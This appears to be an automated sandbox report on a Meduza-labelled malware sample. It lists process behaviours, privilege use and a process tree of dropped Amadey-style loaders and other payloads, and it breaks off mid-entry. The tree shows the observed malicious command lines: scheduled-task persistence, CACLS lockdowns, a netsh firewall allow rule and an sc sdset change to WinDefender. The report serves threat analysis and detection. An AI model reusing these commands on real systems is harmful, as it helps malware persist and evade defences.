69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Meduza.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4868	vbc.exe
4448	vbc.exe
4448	vbc.exe
3416	msedge.exe
3416	msedge.exe
3044	vbc.exe
3044	vbc.exe
3044	vbc.exe
3164	msedge.exe
3164	msedge.exe
4868	vbc.exe
4868	vbc.exe
1968	msedge.exe
1968	msedge.exe
4852	taskhost.exe
4852	taskhost.exe
4852	taskhost.exe
4852	taskhost.exe
3732	taskhost.exe
3732	taskhost.exe
3732	taskhost.exe
3852	toolspub2.exe
3852	toolspub2.exe
3416	msedge.exe
3416	msedge.exe
5008	powershell.exe
5008	powershell.exe
3044	vbc.exe
3732	taskhost.exe
4024	taskhost.exe
4024	taskhost.exe
5012	taskhost.exe
5012	taskhost.exe
5008	powershell.exe
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
4868	vbc.exe
3164	msedge.exe
3164	msedge.exe
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
5008	powershell.exe
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE
3256	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3256	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
644	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3852	toolspub2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4868	vbc.exe
Token: SeDebugPrivilege	1968	msedge.exe
Token: SeDebugPrivilege	3044	vbc.exe
Token: SeDebugPrivilege	4448	vbc.exe
Token: SeDebugPrivilege	4128	taskhost.exe
Token: SeDebugPrivilege	4852	taskhost.exe
Token: SeDebugPrivilege	3732	taskhost.exe
Token: SeDebugPrivilege	5008	powershell.exe
Token: SeDebugPrivilege	4024	taskhost.exe
Token: SeDebugPrivilege	5012	taskhost.exe
Token: SeDebugPrivilege	4848	Process not Found
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	5008	powershell.exe
Token: SeSecurityPrivilege	5008	powershell.exe
Token: SeTakeOwnershipPrivilege	5008	powershell.exe
Token: SeLoadDriverPrivilege	5008	powershell.exe
Token: SeSystemProfilePrivilege	5008	powershell.exe
Token: SeSystemtimePrivilege	5008	powershell.exe
Token: SeProfSingleProcessPrivilege	5008	powershell.exe
Token: SeIncBasePriorityPrivilege	5008	powershell.exe
Token: SeCreatePagefilePrivilege	5008	powershell.exe
Token: SeBackupPrivilege	5008	powershell.exe
Token: SeRestorePrivilege	5008	powershell.exe
Token: SeShutdownPrivilege	5008	powershell.exe
Token: SeDebugPrivilege	5008	powershell.exe
Token: SeSystemEnvironmentPrivilege	5008	powershell.exe
Token: SeRemoteShutdownPrivilege	5008	powershell.exe
Token: SeUndockPrivilege	5008	powershell.exe
Token: SeManageVolumePrivilege	5008	powershell.exe
Token: 33	5008	powershell.exe
Token: 34	5008	powershell.exe
Token: 35	5008	powershell.exe
Token: 36	5008	powershell.exe
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE
Token: SeShutdownPrivilege	3256	Explorer.EXE
Token: SeCreatePagefilePrivilege	3256	Explorer.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4700	rockas.exe
5484	winlog.tmp

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4448	python.exe
4448	python.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 4004	1792	t6665744.exe	70
PID 1792 wrote to memory of 4004	1792	t6665744.exe	70
PID 1792 wrote to memory of 4004	1792	t6665744.exe	70
PID 4004 wrote to memory of 2476	4004	legosa.exe	71
PID 4004 wrote to memory of 2476	4004	legosa.exe	71
PID 4004 wrote to memory of 2476	4004	legosa.exe	71
PID 4004 wrote to memory of 4124	4004	legosa.exe	73
PID 4004 wrote to memory of 4124	4004	legosa.exe	73
PID 4004 wrote to memory of 4124	4004	legosa.exe	73
PID 4124 wrote to memory of 4940	4124	cmd.exe	75
PID 4124 wrote to memory of 4940	4124	cmd.exe	75
PID 4124 wrote to memory of 4940	4124	cmd.exe	75
PID 4124 wrote to memory of 1104	4124	cmd.exe	76
PID 4124 wrote to memory of 1104	4124	cmd.exe	76
PID 4124 wrote to memory of 1104	4124	cmd.exe	76
PID 4124 wrote to memory of 2196	4124	cmd.exe	77
PID 4124 wrote to memory of 2196	4124	cmd.exe	77
PID 4124 wrote to memory of 2196	4124	cmd.exe	77
PID 4124 wrote to memory of 2200	4124	cmd.exe	78
PID 4124 wrote to memory of 2200	4124	cmd.exe	78
PID 4124 wrote to memory of 2200	4124	cmd.exe	78
PID 4124 wrote to memory of 4856	4124	cmd.exe	79
PID 4124 wrote to memory of 4856	4124	cmd.exe	79
PID 4124 wrote to memory of 4856	4124	cmd.exe	79
PID 4124 wrote to memory of 3380	4124	cmd.exe	80
PID 4124 wrote to memory of 3380	4124	cmd.exe	80
PID 4124 wrote to memory of 3380	4124	cmd.exe	80
PID 4004 wrote to memory of 1524	4004	legosa.exe	81
PID 4004 wrote to memory of 1524	4004	legosa.exe	81
PID 4004 wrote to memory of 1524	4004	legosa.exe	81
PID 1524 wrote to memory of 4868	1524	10c7b9izmah9.exe	82
PID 1524 wrote to memory of 4868	1524	10c7b9izmah9.exe	82
PID 1524 wrote to memory of 4868	1524	10c7b9izmah9.exe	82
PID 1524 wrote to memory of 4868	1524	10c7b9izmah9.exe	82
PID 1524 wrote to memory of 4868	1524	10c7b9izmah9.exe	82
PID 4004 wrote to memory of 4760	4004	legosa.exe	83
PID 4004 wrote to memory of 4760	4004	legosa.exe	83
PID 4004 wrote to memory of 4760	4004	legosa.exe	83
PID 4760 wrote to memory of 3044	4760	pf3bv0f2aw4mj.exe	84
PID 4760 wrote to memory of 3044	4760	pf3bv0f2aw4mj.exe	84
PID 4760 wrote to memory of 3044	4760	pf3bv0f2aw4mj.exe	84
PID 4760 wrote to memory of 3044	4760	pf3bv0f2aw4mj.exe	84
PID 4760 wrote to memory of 3044	4760	pf3bv0f2aw4mj.exe	84
PID 4004 wrote to memory of 4828	4004	legosa.exe	85
PID 4004 wrote to memory of 4828	4004	legosa.exe	85
PID 4004 wrote to memory of 4828	4004	legosa.exe	85
PID 4828 wrote to memory of 4448	4828	useyyoou_crypted.exe	86
PID 4828 wrote to memory of 4448	4828	useyyoou_crypted.exe	86
PID 4828 wrote to memory of 4448	4828	useyyoou_crypted.exe	86
PID 4828 wrote to memory of 4448	4828	useyyoou_crypted.exe	86
PID 4828 wrote to memory of 4448	4828	useyyoou_crypted.exe	86
PID 4004 wrote to memory of 2084	4004	legosa.exe	87
PID 4004 wrote to memory of 2084	4004	legosa.exe	87
PID 4004 wrote to memory of 2084	4004	legosa.exe	87
PID 2084 wrote to memory of 4336	2084	crypted158.exe	90
PID 2084 wrote to memory of 4336	2084	crypted158.exe	90
PID 2084 wrote to memory of 4336	2084	crypted158.exe	90
PID 2084 wrote to memory of 4336	2084	crypted158.exe	90
PID 2084 wrote to memory of 4336	2084	crypted158.exe	90
PID 2084 wrote to memory of 4336	2084	crypted158.exe	90
PID 2084 wrote to memory of 4336	2084	crypted158.exe	90
PID 2084 wrote to memory of 4336	2084	crypted158.exe	90
PID 2084 wrote to memory of 4336	2084	crypted158.exe	90
PID 4004 wrote to memory of 5004	4004	legosa.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3256
- C:\Users\Admin\AppData\Local\Temp\t6665744.exe
  "C:\Users\Admin\AppData\Local\Temp\t6665744.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe
    "C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4004
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legosa.exe /TR "C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:2476
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legosa.exe" /P "Admin:N"&&CACLS "legosa.exe" /P "Admin:R" /E&&echo Y|CACLS "..\ebb444342c" /P "Admin:N"&&CACLS "..\ebb444342c" /P "Admin:R" /E&&Exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4124
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:4940
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "legosa.exe" /P "Admin:N"
        5⤵
        
        PID:1104
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "legosa.exe" /P "Admin:R" /E
        5⤵
        
        PID:2196
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:2200
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\ebb444342c" /P "Admin:N"
        5⤵
        
        PID:4856
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\ebb444342c" /P "Admin:R" /E
        5⤵
        
        PID:3380
  - - C:\Users\Admin\AppData\Local\Temp\1000139001\10c7b9izmah9.exe
      "C:\Users\Admin\AppData\Local\Temp\1000139001\10c7b9izmah9.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:1524
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4868
  - - C:\Users\Admin\AppData\Local\Temp\1000146001\pf3bv0f2aw4mj.exe
      "C:\Users\Admin\AppData\Local\Temp\1000146001\pf3bv0f2aw4mj.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4760
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3044
  - - C:\Users\Admin\AppData\Local\Temp\1000147001\useyyoou_crypted.exe
      "C:\Users\Admin\AppData\Local\Temp\1000147001\useyyoou_crypted.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4828
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4448
  - - C:\Users\Admin\AppData\Local\Temp\1000155001\crypted158.exe
      "C:\Users\Admin\AppData\Local\Temp\1000155001\crypted158.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:2084
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        5⤵
        
        PID:4336
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 128
        5⤵
        Program crash
        
        PID:1580
  - - C:\Users\Admin\AppData\Local\Temp\1000159001\rockas.exe
      "C:\Users\Admin\AppData\Local\Temp\1000159001\rockas.exe"
      4⤵
      Executes dropped EXE
      PID:5004
    - - C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"
        5⤵
        Executes dropped EXE
        
        PID:2496
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
        6⤵
        Creates scheduled task(s)
        
        PID:3488
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit
        6⤵
        
        PID:3164
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:N"
        7⤵
        
        PID:2120
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:2648
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:R" /E
        7⤵
        
        PID:4968
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\207aa4515d" /P "Admin:N"
        7⤵
        
        PID:2556
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:2380
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\207aa4515d" /P "Admin:R" /E
        7⤵
        
        PID:3280
      - C:\Users\Admin\AppData\Local\Temp\1000438001\ss41.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000438001\ss41.exe"
        6⤵
        Executes dropped EXE
        
        PID:4288
      - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        6⤵
        
        PID:1968
        
        C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3732
        
        C:\Users\Admin\AppData\Local\Temp\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\winlog.exe"
        8⤵
        Executes dropped EXE
        
        PID:5644
        
        C:\Users\Admin\AppData\Local\Temp\is-U2PN6.tmp\winlog.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-U2PN6.tmp\winlog.tmp" /SL5="$1E0050,25895378,832512,C:\Users\Admin\AppData\Local\Temp\winlog.exe"
        9⤵
        Executes dropped EXE
        
        PID:6052
        
        C:\Users\Admin\AppData\Local\Temp\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\winlog.exe" /SILENT
        10⤵
        Executes dropped EXE
        
        PID:5316
        
        C:\Users\Admin\AppData\Local\Temp\is-SQRN9.tmp\winlog.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-SQRN9.tmp\winlog.tmp" /SL5="$60292,25895378,832512,C:\Users\Admin\AppData\Local\Temp\winlog.exe" /SILENT
        11⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:5484
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Public\Document\python.exe C:\Users\Public\Document\dsc.py"
        12⤵
        
        PID:6424
        
        C:\Users\Public\Document\python.exe
        
        C:\Users\Public\Document\python.exe C:\Users\Public\Document\dsc.py
        13⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5168
      - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2188
      - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:3416
      - C:\Users\Admin\AppData\Local\Temp\1000439001\toolspub2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000439001\toolspub2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:756
        
        C:\Users\Admin\AppData\Local\Temp\1000439001\toolspub2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000439001\toolspub2.exe"
        7⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:3852
      - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:4128
        
        C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4024
      - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4924
        
        C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
        
        C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5680
      - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:3164
      - C:\Users\Admin\AppData\Local\Temp\1000440001\31839b57a4f11171d6abc8bbc4451ee4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000440001\31839b57a4f11171d6abc8bbc4451ee4.exe"
        6⤵
        Executes dropped EXE
        
        PID:3252
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:1724
        
        C:\Users\Admin\AppData\Local\Temp\1000440001\31839b57a4f11171d6abc8bbc4451ee4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000440001\31839b57a4f11171d6abc8bbc4451ee4.exe"
        7⤵
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        Adds Run key to start application
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        Modifies data under HKEY_USERS
        
        PID:6020
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        8⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:7672
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        8⤵
        
        PID:364
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        9⤵
        Modifies Windows Firewall
        
        PID:6416
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        8⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:2120
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        8⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:6868
        
        C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        Manipulates WinMonFS driver.
        Drops file in Windows directory
        
        PID:6492
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        9⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:5044
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        9⤵
        Creates scheduled task(s)
        
        PID:5112
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        9⤵
        
        PID:8064
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        9⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:7868
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        9⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:5200
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        9⤵
        Executes dropped EXE
        
        PID:2484
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        9⤵
        Creates scheduled task(s)
        
        PID:7396
        
        C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        9⤵
        Executes dropped EXE
        
        PID:8168
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        10⤵
        
        PID:8000
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        11⤵
        Launches sc.exe
        
        PID:6420
        
        C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe
        9⤵
        Executes dropped EXE
        
        PID:6836
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn "csrss" /f
        10⤵
        
        PID:2380
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn "ScheduledUpdate" /f
        10⤵
        
        PID:1888
      - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4852
        
        C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        7⤵
        Executes dropped EXE
        
        PID:2212
        
        C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5012
        
        C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        7⤵
        Executes dropped EXE
        
        PID:1348
      - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4444
      - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1968
  - - C:\Users\Admin\AppData\Local\Temp\1000167001\rockas.exe
      "C:\Users\Admin\AppData\Local\Temp\1000167001\rockas.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of FindShellTrayWindow
      PID:4700
    - - C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"
        5⤵
        Executes dropped EXE
        
        PID:2124
  - - C:\Users\Admin\AppData\Local\Temp\1000172001\Amadey.exe
      "C:\Users\Admin\AppData\Local\Temp\1000172001\Amadey.exe"
      4⤵
      Executes dropped EXE
      PID:5044
    - - C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe"
        5⤵
        Executes dropped EXE
        
        PID:1432
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe" /F
        6⤵
        Creates scheduled task(s)
        
        PID:3252
      - C:\Windows\SysWOW64\cmd.exe
        
